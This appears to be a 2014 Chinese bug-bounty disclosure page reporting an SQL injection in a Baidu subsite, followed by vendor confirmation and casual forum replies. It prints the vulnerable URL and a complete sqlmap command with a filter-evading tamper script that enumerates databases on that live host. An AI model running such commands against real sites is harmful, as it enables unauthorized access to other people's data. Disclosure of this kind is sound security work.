百度某分站SQL注入

http://v.baidu.com/commonapi/topic/?topicid=11

python sqlmap.py -u "http://v.baidu.com/commonapi/topic/?topicid=11" --string "title" --tamper="between.py" --dbs

过滤

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-07-17 10:51

厂商回复：

感谢对百度安全的支持。

最新状态：

暂无

1. 2014-07-17 09:03 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

   0

   留名

   1# 回复此人

2. 2014-07-17 09:09 | Smilent ( 实习白帽子 | Rank:48 漏洞数:8 | None)

   0

   前排围观。

   2# 回复此人

3. 2014-07-17 09:11 | zzR ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红＊＊联盟欢迎你－0-)

   1

   我现在有个疑惑 乌云rank的上限在哪，在rank超出4位数时候会不会 溢出，好担心，睡不着觉了都

   3# 回复此人

4. 2014-07-17 09:21 | zkj ( 路人 | Rank:14 漏洞数:3 | 本人不才，请各路大牛指点！)

   1

   好像看看！

   4# 回复此人

5. 2014-07-17 09:36 | maples ( 实习白帽子 | Rank:42 漏洞数:11 | 学习的小菜鸟)

   0

   前排

   5# 回复此人

6. 2014-07-17 10:00 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

   1

   @zzR 超越路人甲，28位，哈哈,

   6# 回复此人